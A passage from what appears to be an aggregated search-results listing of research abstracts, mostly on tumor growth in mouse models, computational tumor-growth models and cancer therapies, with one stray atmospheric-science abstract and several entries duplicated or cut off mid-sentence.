monitor growth and regression of luciferase labeled murine tumor cells engrafted into immunodeficient mice. External quantification of tumor burden revealed the biological impact of the chemotherapeutic agent cyclophosphamide on the kinetics of tumor growth in living animals. Therapeutic activity was apparent but this drug did not eliminate the NIH 3T3 cell signal over the 28 d time course. This novel, noninvasive system allowed sensitive, real time spatiotemporal analyses of neoplastic cell growth and may facilitate rapid optimization of effective therapeutic treatment regimes. 16. Platelets promote tumor growth and metastasis via direct interaction between Aggrus/podoplanin and CLEC-2. Directory of Open Access Journals (Sweden) Satoshi Takagi Full Text Available The platelet aggregation-inducing factor Aggrus, also known as podoplanin, is frequently upregulated in several types of tumors and enhances hematogenous metastasis by interacting with and activating the platelet receptor CLEC-2. Thus, Aggrus-CLEC-2 binding could be a therapeutic molecular mechanism for cancer therapy. We generated a new anti-human Aggrus monoclonal antibody, MS-1, that suppressed Aggrus-CLEC-2 binding, Aggrus-induced platelet aggregation, and Aggrus-mediated tumor metastasis. Interestingly, the MS-1 monoclonal antibody attenuated the growth of Aggrus-positive tumors in vivo. Moreover, the humanized chimeric MS-1 antibody, ChMS-1, also exhibited strong antitumor activity against Aggrus-positive lung squamous cell carcinoma xenografted into NOD-SCID mice compromising antibody-dependent cellular cytotoxic and complement-dependent cytotoxic activities. Because Aggrus knockdown suppressed platelet-induced proliferation in vitro and tumor growth of the lung squamous cell carcinoma in vivo, Aggrus may be involved in not only tumor metastasis but also tumor growth by promoting platelet-tumor interaction, platelet activation, and secretion of platelet-derived factors in vivo. Our results indicate that molecular target drugs inhibiting specific platelet-tumor interactions can be developed as antitumor drugs that suppress both metastasis and proliferation of tumors such as lung squamous cell carcinoma. 17. Data on combination effect of PEG-coated gold nanoparticles and non-thermal plasma inhibit growth of solid tumors. Science.gov (United States) Kaushik, Nagendra Kumar; Kaushik, Neha; Yoo, Ki Chun; Uddin, Nizam; Kim, Ju Sung; Lee, Su Jae; Choi, Eun Ha 2016-12-01 Highly resistant tumor cells are hard to treat at low doses of plasma. Therefore, researchers have gained more attention to development of enhancers for plasma therapy. Some enhancers could improve the efficacy of plasma towards selectivity of cancer cells damage. In this dataset, we report the application of low doses of PEG-coated gold nanoparticles with addition of plasma treatment. This data consists of the effect of PEG-coated GNP and cold plasma on two solid tumor cell lines T98G glioblastoma and A549 lung adenocarcinoma. Cell proliferation, frequency of cancer stem cell population studies by this co-treatment was reported. Finally, we included in this dataset the effect of co-treatment in vivo, using tumor xenograft nude mice models. The data supplied in this article supports the accompanying publication "Low doses of PEG-coated gold nanoparticles sensitize solid tumors to cold plasma by blocking the PI3K/AKT-driven signaling axis to suppress cellular transformation by inhibiting growth and EMT" (N. K. Kaushik, N. Kaushik, K. C. Yoo, N Uddin, J. S. Kim, S. J. Lee et al., 2016) [1]. PMID:27668278 18. A kinetic model of tumor growth and its radiation response with an application to Gamma Knife stereotactic radiosurgery CERN Document Server Watanabe, Yoichi; Leder, Kevin Z; Hui, Susanta K 2015-01-01 We developed a mathematical model to simulate the growth of tumor volume and its response to a single fraction of high dose irradiation. We made several key assumptions of the model. Tumor volume is composed of proliferating (or dividing) cancer cells and non-dividing (or dead) cells. Tumor growth rate (or tumor volume doubling time, Td) is proportional to the ratio of the volumes of tumor vasculature and the tumor. The vascular volume grows slower than the tumor by introducing the vascular growth retardation factor, theta. Upon irradiation the proliferating cells gradually die over a fixed time period after irradiation. Dead cells are cleared away with cell clearance time, Tcl. The model was applied to simulate pre-treatment growth and post-treatment radiation response of rat rhabdomyosarcoma tumor and metastatic brain tumors of five patients who were treated by Gamma Knife stereotactic radiosurgery (GKSRS). By selecting appropriate model parameters, we showed the temporal variation of the tumors for both th... 19. A quantitative theory of solid tumor growth, metabolic rate and vascularization. Directory of Open Access Journals (Sweden) Alexander B Herman Full Text Available The relationships between cellular, structural and dynamical properties of tumors have traditionally been studied separately. Here, we construct a quantitative, predictive theory of solid tumor growth, metabolic rate, vascularization and necrosis that integrates the relationships between these properties. To accomplish this, we develop a comprehensive theory that describes the interface and integration of the tumor vascular network and resource supply with the cardiovascular system of the host. Our theory enables a quantitative understanding of how cells, tissues, and vascular networks act together across multiple scales by building on recent theoretical advances in modeling both healthy vasculature and the detailed processes of angiogenesis and tumor growth. The theory explicitly relates tumor vascularization and growth to metabolic rate, and yields extensive predictions for tumor properties, including growth rates, metabolic rates, degree of necrosis, blood flow rates and vessel sizes. Besides these quantitative predictions, we explain how growth rates depend on capillary density and metabolic rate, and why similar tumors grow slower and occur less frequently in larger animals, shedding light on Peto's paradox. Various implications for potential therapeutic strategies and further research are discussed. 20. Molecular Characterization of Growth Hormone-producing Tumors in the GC Rat Model of Acromegaly OpenAIRE Juan F. Martín-Rodríguez; Muñoz-Bravo, Jose L.; Ibañez-Costa, Alejandro; Fernandez-Maza, Laura; Balcerzyk, Marcin; Leal-Campanario, Rocío; Luque, Raúl M.; Justo P Castaño; Venegas-Moreno, Eva; Soto-Moreno, Alfonso; Leal-Cerro, Alfonso; David A Cano 2015-01-01 Acromegaly is a disorder resulting from excessive production of growth hormone (GH) and consequent increase of insulin-like growth factor 1 (IGF-I), most frequently caused by pituitary adenomas. Elevated GH and IGF-I levels results in wide range of somatic, cardiovascular, endocrine, metabolic, and gastrointestinal morbidities. Subcutaneous implantation of the GH-secreting GC cell line in rats leads to the formation of tumors. GC tumor-bearing rats develop characteristics that resemble human ... 1. Adiponectin Deficiency Promotes Tumor Growth in Mice by Reducing Macrophage Infiltration OpenAIRE Yutong Sun; Lodish, Harvey F. 2010-01-01 Adiponectin is an adipocyte-derived plasma protein that has been implicated in regulating angiogenesis, but the role of adiponectin in regulating this process is still controversial. In this study, in order to determine whether adiponectin affects tumor growth and tumor induced vascularization, we implanted B16F10 melanoma and Lewis Lung Carcinoma cells subcutaneously into adiponectin knockout and wild-type control mice, and found that adiponectin deficiency markedly promoted the growth of bo... 2. Subcutaneous administration of ketoprofen delays Ehrlich solid tumor growth in mice Directory of Open Access Journals (Sweden) C.M. Souza 2014-10-01 Full Text Available Ketoprofen, a nonsteroidal anti-inflammatory drug (NSAID has proven to exert anti-inflammatory, anti-proliferative and anti-angiogenic activities in both neoplastic and non-neoplastic conditions. We investigated the effects of this compound on tumor development in Swiss mice previously inoculated with Ehrlich tumor cells. To carry out this study the solid tumor was obtained from cells of the ascites fluid of Ehrlich tumor re-suspended in physiological saline to give 2.5x106 cells in 0.05mL. After tumor inoculation, the animals were separated into two groups (n = 10. The animals treated with ketoprofen 0.1µg/100µL/animal were injected intraperitoneally at intervals of 24h for 10 consecutive days. Animals from the control group received saline. At the end of the experiment the mice were killed and the tumor removed. We analyzed tumor growth, histomorphological and immunohistochemical characteristics for CDC47 (cellular proliferation marker and for CD31 (blood vessel marker. Animals treated with the ketoprofen 0.1µg/100µL/animal showed lower tumor growth. The treatment did not significantly influence the size of the areas of cancer, inflammation, necrosis and hemorrhage. Moreover, lower rates of tumor cell proliferation were observed in animals treated with ketoprofen compared with the untreated control group. The participation of ketoprofen in controlling tumor malignant cell proliferation would open prospects for its use in clinical and antineoplasic therapy. 3. Cell motility and ECM proteolysis regulate tumor growth and tumor relapse by altering the fraction of cancer stem cells and their spatial scattering Science.gov (United States) Kumar, Sandeep; Kulkarni, Rahul; Sen, Shamik 2016-06-01 Tumors consist of multiple cell sub-populations including cancer stem cells (CSCs), transiently amplifying cells and terminally differentiated cells (TDCs), with the CSC fraction dictating the aggressiveness of the tumor and drug sensitivity. In epithelial cancers, tumor growth is influenced greatly by properties of the extracellular matrix (ECM), with cancer progression associated with an increase in ECM density. However, the extent to which increased ECM confinement induced by an increase in ECM density influences tumor growth and post treatment relapse dynamics remains incompletely understood. In this study, we use a cellular automata-based discrete modeling approach to study the collective influence of ECM density, cell motility and ECM proteolysis on tumor growth, tumor heterogeneity, and tumor relapse after drug treatment. We show that while increased confinement suppresses tumor growth and the spatial scattering of CSCs, this effect can be reversed when cells become more motile and proteolytically active. Our results further suggest that, in addition to the absolute number of CSCs, their spatial positioning also plays an important role in driving tumor growth. In a nutshell, our study suggests that, in confined environments, cell motility and ECM proteolysis are two key factors that regulate tumor growth and tumor relapse dynamics by altering the number and spatial distribution of CSCs. 4. Modified Gompertz equation for electrotherapy murine tumor growth kinetics: predictions and new hypotheses International Nuclear Information System (INIS) Electrotherapy effectiveness at different doses has been demonstrated in preclinical and clinical studies; however, several aspects that occur in the tumor growth kinetics before and after treatment have not yet been revealed. Mathematical modeling is a useful instrument that can reveal some of these aspects. The aim of this paper is to describe the complete growth kinetics of unperturbed and perturbed tumors through use of the modified Gompertz equation in order to generate useful insight into the mechanisms that underpin this devastating disease. The complete tumor growth kinetics for control and treated groups are obtained by interpolation and extrapolation methods with different time steps, using experimental data of fibrosarcoma Sa-37. In the modified Gompertz equation, a delay time is introduced to describe the tumor's natural history before treatment. Different graphical strategies are used in order to reveal new information in the complete kinetics of this tumor type. The first stage of complete tumor growth kinetics is highly non linear. The model, at this stage, shows different aspects that agree with those reported theoretically and experimentally. Tumor reversibility and the proportionality between regions before and after electrotherapy are demonstrated. In tumors that reach partial remission, two antagonistic post-treatment processes are induced, whereas in complete remission, two unknown antitumor mechanisms are induced. The modified Gompertz equation is likely to lead to insights within cancer research. Such insights hold promise for increasing our understanding of tumors as self-organizing systems and, the possible existence of phase transitions in tumor growth kinetics, which, in turn, may have significant impacts both on cancer research and on clinical practice 5. Ultrasound-guided direct delivery of 3-bromopyruvate blocks tumor progression in an orthotopic mouse model of human pancreatic cancer. Science.gov (United States) Ota, Shinichi; Geschwind, Jean-Francois H; Buijs, Manon; Wijlemans, Joost W; Kwak, Byung Kook; Ganapathy-Kanniappan, Shanmugasundaram 2013-06-01 Studies in animal models of cancer have demonstrated that targeting tumor metabolism can be an effective anticancer strategy. Previously, we showed that inhibition of glucose metabolism by the pyruvate analog, 3-bromopyruvate (3-BrPA), induces anticancer effects both in vitro and in vivo. We have also documented that intratumoral delivery of 3-BrPA affects tumor growth in a subcutaneous tumor model of human liver cancer. However, the efficacy of such an approach in a clinically relevant orthotopic tumor model has not been reported. Here, we investigated the feasibility of ultrasound (US) image-guided delivery of 3-BrPA in an orthotopic mouse model of human pancreatic cancer and evaluated its therapeutic efficacy. In vitro, treatment of Panc-1 cells with 3-BrPA resulted in a dose-dependent decrease in cell viability. The loss of viability correlated with a dose-dependent decrease in the intracellular ATP level and lactate production confirming that disruption of energy metabolism underlies these 3-BrPA-mediated effects. In vivo, US-guided delivery of 3-BrPA was feasible and effective as demonstrated by a marked decrease in tumor size on imaging. Further, the antitumor effect was confirmed by (1) a decrease in the proliferative potential by Ki-67 immunohistochemical staining and (2) the induction of apoptosis by terminal deoxynucleotidyl transferase-mediated deoxyuridine 5-triphospate nick end labeling staining. We therefore demonstrate the technical feasibility of US-guided intratumoral injection of 3-BrPA in a mouse model of human pancreatic cancer as well as its therapeutic efficacy. Our data suggest that this new therapeutic approach consisting of a direct intratumoral injection of antiglycolytic agents may represent an exciting opportunity to treat patients with pancreas cancer. PMID:23529644 6. Inhibition of Vascular Endothelial Growth Factor A and Hypoxia-Inducible Factor 1α Maximizes the Effects of Radiation in Sarcoma Mouse Models Through Destruction of Tumor Vasculature International Nuclear Information System (INIS) Purpose: To examine the addition of genetic or pharmacologic inhibition of hypoxia-inducible factor 1α (HIF-1α) to radiation therapy (RT) and vascular endothelial growth factor A (VEGF-A) inhibition (ie trimodality therapy) for soft-tissue sarcoma. Methods and Materials: Hypoxia-inducible factor 1α was inhibited using short hairpin RNA or low metronomic doses of doxorubicin, which blocks HIF-1α binding to DNA. Trimodality therapy was examined in a mouse xenograft model and a genetically engineered mouse model of sarcoma, as well as in vitro in tumor endothelial cells (ECs) and 4 sarcoma cell lines. Results: In both mouse models, any monotherapy or bimodality therapy resulted in tumor growth beyond 250 mm3 within the 12-day treatment period, but trimodality therapy with RT, VEGF-A inhibition, and HIF-1α inhibition kept tumors at <250 mm3 for up to 30 days. Trimodality therapy on tumors reduced HIF-1α activity as measured by expression of nuclear HIF-1α by 87% to 95% compared with RT alone, and cytoplasmic carbonic anhydrase 9 by 79% to 82%. Trimodality therapy also increased EC-specific apoptosis 2- to 4-fold more than RT alone and reduced microvessel density by 75% to 82%. When tumor ECs were treated in vitro with trimodality therapy under hypoxia, there were significant decreases in proliferation and colony formation and increases in DNA damage (as measured by Comet assay and γH2AX expression) and apoptosis (as measured by cleaved caspase 3 expression). Trimodality therapy had much less pronounced effects when 4 sarcoma cell lines were examined in these same assays. Conclusions: Inhibition of HIF-1α is highly effective when combined with RT and VEGF-A inhibition in blocking sarcoma growth by maximizing DNA damage and apoptosis in tumor ECs, leading to loss of tumor vasculature 7. Inhibition of Vascular Endothelial Growth Factor A and Hypoxia-Inducible Factor 1α Maximizes the Effects of Radiation in Sarcoma Mouse Models Through Destruction of Tumor Vasculature Energy Technology Data Exchange (ETDEWEB) Lee, Hae-June [Department of Surgery, Massachusetts General Hospital and Harvard Medical School, Boston, Massachusetts (United States); Division of Radiation Effects, Korea Institute of Radiological and Medical Sciences, Seoul (Korea, Republic of); Yoon, Changhwan [Department of Surgery, Memorial Sloan-Kettering Cancer Center, New York, New York (United States); Park, Do Joong [Department of Surgery, Memorial Sloan-Kettering Cancer Center, New York, New York (United States); Department of Surgery, Seoul National University Bundang Hospital, Sungnam (Korea, Republic of); Kim, Yeo-Jung [Abramson Family Cancer Research Institute, Perelman School of Medicine, University of Pennsylvania, Philadelphia, Pennsylvania (United States); Schmidt, Benjamin [Department of Surgery, Massachusetts General Hospital and Harvard Medical School, Boston, Massachusetts (United States); Lee, Yoon-Jin [Department of Surgery, Massachusetts General Hospital and Harvard Medical School, Boston, Massachusetts (United States); Division of Radiation Effects, Korea Institute of Radiological and Medical Sciences, Seoul (Korea, Republic of); Tap, William D. [Department of Medicine, Memorial Sloan-Kettering Cancer Center, New York, New York (United States); Eisinger-Mathason, T.S. Karin [Abramson Family Cancer Research Institute, Perelman School of Medicine, University of Pennsylvania, Philadelphia, Pennsylvania (United States); Choy, Edwin [Department of Medicine, Massachusetts General Hospital and Harvard Medical School, Boston, Massachusetts (United States); Kirsch, David G. [Department of Pharmacology and Cancer Biology, Duke University Medical Center, Durham, North Carolina (United States); Department of Radiation Oncology, Duke University Medical Center, Durham, North Carolina (United States); Simon, M. Celeste [Abramson Family Cancer Research Institute, Perelman School of Medicine, University of Pennsylvania, Philadelphia, Pennsylvania (United States); Howard Hughes Medical Institute (United States); and others 2015-03-01 Purpose: To examine the addition of genetic or pharmacologic inhibition of hypoxia-inducible factor 1α (HIF-1α) to radiation therapy (RT) and vascular endothelial growth factor A (VEGF-A) inhibition (ie trimodality therapy) for soft-tissue sarcoma. Methods and Materials: Hypoxia-inducible factor 1α was inhibited using short hairpin RNA or low metronomic doses of doxorubicin, which blocks HIF-1α binding to DNA. Trimodality therapy was examined in a mouse xenograft model and a genetically engineered mouse model of sarcoma, as well as in vitro in tumor endothelial cells (ECs) and 4 sarcoma cell lines. Results: In both mouse models, any monotherapy or bimodality therapy resulted in tumor growth beyond 250 mm{sup 3} within the 12-day treatment period, but trimodality therapy with RT, VEGF-A inhibition, and HIF-1α inhibition kept tumors at <250 mm{sup 3} for up to 30 days. Trimodality therapy on tumors reduced HIF-1α activity as measured by expression of nuclear HIF-1α by 87% to 95% compared with RT alone, and cytoplasmic carbonic anhydrase 9 by 79% to 82%. Trimodality therapy also increased EC-specific apoptosis 2- to 4-fold more than RT alone and reduced microvessel density by 75% to 82%. When tumor ECs were treated in vitro with trimodality therapy under hypoxia, there were significant decreases in proliferation and colony formation and increases in DNA damage (as measured by Comet assay and γH2AX expression) and apoptosis (as measured by cleaved caspase 3 expression). Trimodality therapy had much less pronounced effects when 4 sarcoma cell lines were examined in these same assays. Conclusions: Inhibition of HIF-1α is highly effective when combined with RT and VEGF-A inhibition in blocking sarcoma growth by maximizing DNA damage and apoptosis in tumor ECs, leading to loss of tumor vasculature. 8. Gamma knife radiosurgery for vestibular schwannomas: identification of predictors for continued tumor growth and the influence of documented tumor growth preceding radiation treatment NARCIS (Netherlands) Timmer, F.C.A.; Mulder, J.J.S.; Hanssens, P.E.; Overbeeke, J.J. van; Donders, R.; Cremers, C.W.R.J.; Graamans, K. 2011-01-01 OBJECTIVES/HYPOTHESIS: Gamma knife radiosurgery (GKRS) has become an important treatment modality for vestibular schwannomas. The primary aim of this study was to investigate whether tumor growth at the moment of GKRS has any correlation with the outcome. The secondary aim was to identify clinical p 9. Finite-Time Normal Mode Disturbances and Error Growth During Southern Hemisphere Blocking Institute of Scientific and Technical Information of China (English) Mozheng WEI; Jorgen S. FREDERIKSEN 2005-01-01 The structural organization of initially random errors evolving in a barotropic tangent linear model, with time-dependent basic states taken from analyses, is examined for cases of block development, maturation and decay in the Southern Hemisphere atmosphere during April, November, and December 1989. The statistics of 100 evolved errors are studied for six-day periods and compared with the growth and structures of fast growing normal modes and finite-time normal modes (FTNMs). The amplification factors of most initially random errors are slightly less than those of the fastest growing FTNM for the same time interval.During their evolution, the standard deviations of the error fields become concentrated in the regions of rapid dynamical development, particularly associated with developing and decaying blocks. We have calculated probability distributions and the mean and standard deviations of pattern correlations between each of the 100 evolved error fields and the five fastest growing FTNMs for the same time interval. The mean of the largest pattern correlation, taken over the five fastest growing FTNMs, increases with increasing time interval to a value close to 0.6 or larger after six days. FTNM 1 generally, but not always, gives the largest mean pattern correlation with error fields. Corresponding pattern correlations with the fast growing normal modes of the instantaneous basic state flow are significant but lower than with FTNMs.Mean pattern correlations with fast growing FTNMs increase further when the time interval is increased beyond six days. 10. B16 melanoma tumor growth is delayed in mice in an age-dependent manner Directory of Open Access Journals (Sweden) Christina Pettan-Brewer 2012-08-01 Full Text Available A major risk factor for cancer is increasing age, which suggests that syngeneic tumor implants in old mice would grow more rapidly. However, various reports have suggested that old mice are not as permissive to implanted tumor cells as young mice. In order to determine and characterize the age-related response to B16 melanoma, we implanted 5×105 tumor cells into 8, 16, 24, and 32-month-old male C57BL/6 (B6 and C57BL/6×BALB/c F1 (CB6 F1 mice subcutaneously in the inguinal and axillary spaces, or intradermally in the lateral flank. Results showed decreased tumor volume with increasing age, which varied according to mouse genetic background and the implanted site. The B6 strain showed robust tumor growth at 8 months of age at the inguinal implantation site, with an average tumor volume of 1341.25 mm3. The 16, 24, and 32-month age groups showed a decrease in tumor growth with tumor volumes of 563.69, 481.02, and 264.55 mm3, respectively (p≤0.001. The axillary implantation site was less permissive in 8-month-old B6 mice with an average tumor volume of 761.52 mm3. The 24- and 32-month age groups showed a similar decrease in tumor growth with tumor volumes of 440 and 178.19 mm3, respectively (p≤0.01. The CB6F1 strain was not as tumor permissive at 8 months of age as B6 mice with average tumor volumes of 446.96 and 426.91 mm3 for the inguinal and axillary sites, respectively. There was a decrease in tumor growth at 24 months of age at both inguinal and axillary sites with an average tumor volume of 271.02 and 249.12 mm3, respectively (p≤0.05. The strain dependence was not apparent in 8-month-old mice injected intradermally with B16 melanoma cells, with average tumor volumes of 736.82 and 842.85 mm3 for B6 and CB6 F1, respectively. However, a strain difference was seen in 32-month-old B6 mice with an average decrease in tumor volume of 250.83 mm3 (p≤0.01. In contrast, tumor growth significantly decreased earlier in CB6 F1 mice with average 11. Blocking the NOTCH pathway can inhibit the growth of CD133-positive A549 cells and sensitize to chemotherapy Energy Technology Data Exchange (ETDEWEB) Liu, Juntao; Mao, Zhangfan; Huang, Jie; Xie, Songping; Liu, Tianshu; Mao, Zhifu, E-mail: 48151660@qq.com 2014-02-21 Highlights: • Notch signaling pathway members are expressed lower levels in CD133+ cells. • CD133+ cells are not as sensitive as CD133− cells to chemotherapy. • GSI could inhibit the growth of both CD133+ and CD133− cells. • Blockade of Notch signaling pathway enhanced the effect of chemotherapy with CDDP. • DAPT/CDDP co-therapy caused G2/M arrest and elimination in CD133+ cells. - Abstract: Cancer stem cells (CSCs) are believed to play an important role in tumor growth and recurrence. These cells exhibit self-renewal and proliferation properties. CSCs also exhibit significant drug resistance compared with normal tumor cells. Finding new treatments that target CSCs could significantly enhance the effect of chemotherapy and improve patient survival. Notch signaling is known to regulate the development of the lungs by controlling the cell-fate determination of normal stem cells. In this study, we isolated CSCs from the human lung adenocarcinoma cell line A549. CD133 was used as a stem cell marker for fluorescence-activated cell sorting (FACS). We compared the expression of Notch signaling in both CD133+ and CD133− cells and blocked Notch signaling using the γ-secretase inhibitor DAPT (GSI-IX). The effect of combining GSI and cisplatin (CDDP) was also examined in these two types of cells. We observed that both CD133+ and CD133− cells proliferated at similar rates, but the cells exhibited distinctive differences in cell cycle progression. Few CD133+ cells were observed in the G{sub 2}/M phase, and there were half as many cells in S phase compared with the CD133− cells. Furthermore, CD133+ cells exhibited significant resistance to chemotherapy when treated with CDDP. The expression of Notch signaling pathway members, such as Notch1, Notch2 and Hes1, was lower in CD133+ cells. GSI slightly inhibited the proliferation of both cell types and exhibited little effect on the cell cycle. The inhibitory effects of DPP on these two types of cells were 12. Blocking the NOTCH pathway can inhibit the growth of CD133-positive A549 cells and sensitize to chemotherapy International Nuclear Information System (INIS) Highlights: • Notch signaling pathway members are expressed lower levels in CD133+ cells. • CD133+ cells are not as sensitive as CD133− cells to chemotherapy. • GSI could inhibit the growth of both CD133+ and CD133− cells. • Blockade of Notch signaling pathway enhanced the effect of chemotherapy with CDDP. • DAPT/CDDP co-therapy caused G2/M arrest and elimination in CD133+ cells. - Abstract: Cancer stem cells (CSCs) are believed to play an important role in tumor growth and recurrence. These cells exhibit self-renewal and proliferation properties. CSCs also exhibit significant drug resistance compared with normal tumor cells. Finding new treatments that target CSCs could significantly enhance the effect of chemotherapy and improve patient survival. Notch signaling is known to regulate the development of the lungs by controlling the cell-fate determination of normal stem cells. In this study, we isolated CSCs from the human lung adenocarcinoma cell line A549. CD133 was used as a stem cell marker for fluorescence-activated cell sorting (FACS). We compared the expression of Notch signaling in both CD133+ and CD133− cells and blocked Notch signaling using the γ-secretase inhibitor DAPT (GSI-IX). The effect of combining GSI and cisplatin (CDDP) was also examined in these two types of cells. We observed that both CD133+ and CD133− cells proliferated at similar rates, but the cells exhibited distinctive differences in cell cycle progression. Few CD133+ cells were observed in the G2/M phase, and there were half as many cells in S phase compared with the CD133− cells. Furthermore, CD133+ cells exhibited significant resistance to chemotherapy when treated with CDDP. The expression of Notch signaling pathway members, such as Notch1, Notch2 and Hes1, was lower in CD133+ cells. GSI slightly inhibited the proliferation of both cell types and exhibited little effect on the cell cycle. The inhibitory effects of DPP on these two types of cells were enhanced 13. 3-Bromopyruvate inhibits human gastric cancer tumor growth in nude mice via the inhibition of glycolysis OpenAIRE XIAN, SHU-LIN; Cao, Wei; Zhang, Xiao-Dong; Lu, Yun-Fei 2014-01-01 Tumor cells primarily depend upon glycolysis in order to gain energy. Therefore, the inhibition of glycolysis may inhibit tumor growth. Our previous study demonstrated that 3-bromopyruvate (3-BrPA) inhibited gastric cancer cell proliferation in vitro. However, the ability of 3-BrPA to suppress tumor growth in vivo, and its underlying mechanism, have yet to be elucidated. The aim of the present study was to investigate the inhibitory effect of 3-BrPA in an animal model of gastric cancer. It wa... 14. Effect of portal vein ligation on tumor growth and liver regeneration in rat cirrhotic liver lobes OpenAIRE Xu, Rui; YUAN, YU-FENG; Ayav, Ahmet; JIANG, CHONG-QING; BRESLER, LAURENT; Liu, Zhi-Su; Tran, Nguyen 2014-01-01 The aim of the present study was to investigate the effect of portal vein ligation (PVL) on the tumor growth rate and liver regeneration in rat cirrhotic liver lobes. A total of 45 male Wistar rats were randomly divided into PVL, hepatic tumor (HT) and HT + PVL groups (n=15 per group). Liver regeneration and tumor growth in ligated and non-ligated lobes were evaluated prior to and following PVL. In addition, serum alanine transaminase, total bilirubin levels and liver tissue samples were eval... 15. Gene expression of fibroblast growth factors in human gliomas and meningiomas: demonstration of cellular source of basic fibroblast growth factor mRNA and peptide in tumor tissues. OpenAIRE J.A. Takahashi; Mori, H.; Fukumoto, M; Igarashi, K; Jaye, M; Oda, Y.; Kikuchi, H; Hatanaka, M 1990-01-01 The growth autonomy of human tumor cells is considered due to the endogenous production of growth factors. Transcriptional expression of candidates for autocrine stimulatory factors such as basic fibroblast growth factor (FGF), acidic FGF, and transforming growth factor type beta were determined in human brain tumors. Basic FGF was expressed abundantly in 17 of 18 gliomas, 20 of 22 meninglomas, and 0 of 5 metastatic brain tumors. The level of mRNA expression of acidic FGF in gliomas was signi... 16. The Bone Microenvironment: a Fertile Soil for Tumor Growth. Science.gov (United States) Buenrostro, Denise; Mulcrone, Patrick L; Owens, Philip; Sterling, Julie A 2016-08-01 Bone metastatic disease remains a significant and frequent problem for cancer patients that can lead to increased morbidity and mortality. Unfortunately, despite decades of research, bone metastases remain incurable. Current studies have demonstrated that many properties and cell types within the bone and bone marrow microenvironment contribute to tumor-induced bone disease. Furthermore, they have pointed to the importance of understanding how tumor cells interact with their microenvironment in order to help improve both the development of new therapeutics and the prediction of response to therapy. PMID:27255469 17. The effect of housing temperature on the growth of CT26 tumor expressing fluorescent protein EGFP Science.gov (United States) Yuzhakova, Diana V.; Shirmanova, Marina V.; Lapkina, Irina V.; Serebrovskaya, Ekaterina O.; Lukyanov, Sergey A.; Zagaynova, Elena V. 2016-04-01 To date, the effect of housing temperature on tumor development in the immunocompetent mice has been studied on poorly immunogenic cancer models. Standard housing temperature 20-26°C was shown to cause chronic metabolic cold stress and promote tumor progression via suppression of the antitumor immune response, whereas a thermoneutral temperature 30-31°C was more preferable for normal metabolism of mice and inhibited tumor growth. Our work represents the first attempt to discover the potential effect of housing temperature on the development of highly immunogenic tumor. EGFP-expressing murine colon carcinoma CT26 generated in Balb/c mice was used as a tumor model. No statistically significant differences were shown in tumor incidences and growth rates at 20°C, 25°C and 30°C for non-modified CT26. Maintaining mice challenged with CT26-EGFP cells at 30°C led to complete inhibition of tumor development. In summary, we demonstrated that the housing temperature is important for the regulation of growth of highly immunogenic tumors in mice through antitumor immunity. 18. Simulation of avascular tumor growth by agent-based game model involving phenotype-phenotype interactions. Science.gov (United States) Chen, Yong; Wang, Hengtong; Zhang, Jiangang; Chen, Ke; Li, Yumin 2015-01-01 All tumors, both benign and metastatic, undergo an avascular growth stage with nutrients supplied by the surrounding tissue. This avascular growth process is much easier to carry out in more qualitative and quantitative experiments starting from tumor spheroids in vitro with reliable reproducibility. Essentially, this tumor progression would be described as a sequence of phenotypes. Using agent-based simulation in a two-dimensional spatial lattice, we constructed a composite growth model in which the phenotypic behavior of tumor cells depends on not only the local nutrient concentration and cell count but also the game among cells. Our simulation results demonstrated that in silico tumors are qualitatively similar to those observed in tumor spheroid experiments. We also found that the payoffs in the game between two living cell phenotypes can influence the growth velocity and surface roughness of tumors at the same time. Finally, this current model is flexible and can be easily extended to discuss other situations, such as environmental heterogeneity and mutation. PMID:26648395 19. Physical activity counteracts tumor cell growth in colon carcinoma C26-injected muscles: an interim report Directory of Open Access Journals (Sweden) Charlotte Hiroux 2016-06-01 Full Text Available Skeletal muscle tissue is a rare site of tumor metastasis but is the main target of the degenerative processes occurring in cancer-associated cachexia syndrome. Beneficial effects of physical activity in counteracting cancer-related muscle wasting have been described in the last decades. Recently it has been shown that, in tumor xeno-transplanted mouse models, physical activity is able to directly affect tumor growth by modulating inflammatory responses in the tumor mass microenvironment. Here, we investigated the effect of physical activity on tumor cell growth in colon carcinoma C26 cells injected tibialis anterior muscles of BALB/c mice. Histological analyses revealed that 4 days of voluntary wheel running significantly counteracts tumor cell growth in C26-injected muscles compared to the non-injected sedentary controls. Since striated skeletal muscle tissue is the site of voluntary contraction, our results confirm that physical activity can also directly counteract tumor cell growth in a metabolically active tissue that is usually not a target for metastasis. 20. Decreased autocrine EGFR signaling in metastatic breast cancer cells inhibits tumor growth in bone and mammary fat pad. Science.gov (United States) Nickerson, Nicole K; Mohammad, Khalid S; Gilmore, Jennifer L; Crismore, Erin; Bruzzaniti, Angela; Guise, Theresa A; Foley, John 2012-01-01 Breast cancer metastasis to bone triggers a vicious cycle of tumor growth linked to osteolysis. Breast cancer cells and osteoblasts express the epidermal growth factor receptor (EGFR) and produce ErbB family ligands, suggesting participation of these growth factors in autocrine and paracrine signaling within the bone microenvironment. EGFR ligand expression was profiled in the bone metastatic MDA-MB-231 cells (MDA-231), and agonist-induced signaling was examined in both breast cancer and osteoblast-like cells. Both paracrine and autocrine EGFR signaling were inhibited with a neutralizing amphiregulin antibody, PAR34, whereas shRNA to the EGFR was used to specifically block autocrine signaling in MDA-231 cells. The impact of these was evaluated with proliferation, migration and gene expression assays. Breast cancer metastasis to bone was modeled in female athymic nude mice with intratibial inoculation of MDA-231 cells, and cancer cell-bone marrow co-cultures. EGFR knockdown, but not PAR34 treatment, decreased osteoclasts formed in vitro (p<0.01), reduced osteolytic lesion tumor volume (p<0.01), increased survivorship in vivo (p<0.001), and resulted in decreased MDA-231 growth in the fat pad (p<0.01). Fat pad shEGFR-MDA-231 tumors produced in nude mice had increased necrotic areas and decreased CD31-positive vasculature. shEGFR-MDA-231 cells also produced decreased levels of the proangiogenic molecules macrophage colony stimulating factor-1 (MCSF-1) and matrix metalloproteinase 9 (MMP9), both of which were decreased by EGFR inhibitors in a panel of EGFR-positive breast cancer cells. Thus, inhibiting autocrine EGFR signaling in breast cancer cells may provide a means for reducing paracrine factor production that facilitates microenvironment support in the bone and mammary gland. PMID:22276166 1. Decreased autocrine EGFR signaling in metastatic breast cancer cells inhibits tumor growth in bone and mammary fat pad. Directory of Open Access Journals (Sweden) Nicole K Nickerson Full Text Available Breast cancer metastasis to bone triggers a vicious cycle of tumor growth linked to osteolysis. Breast cancer cells and osteoblasts express the epidermal growth factor receptor (EGFR and produce ErbB family ligands, suggesting participation of these growth factors in autocrine and paracrine signaling within the bone microenvironment. EGFR ligand expression was profiled in the bone metastatic MDA-MB-231 cells 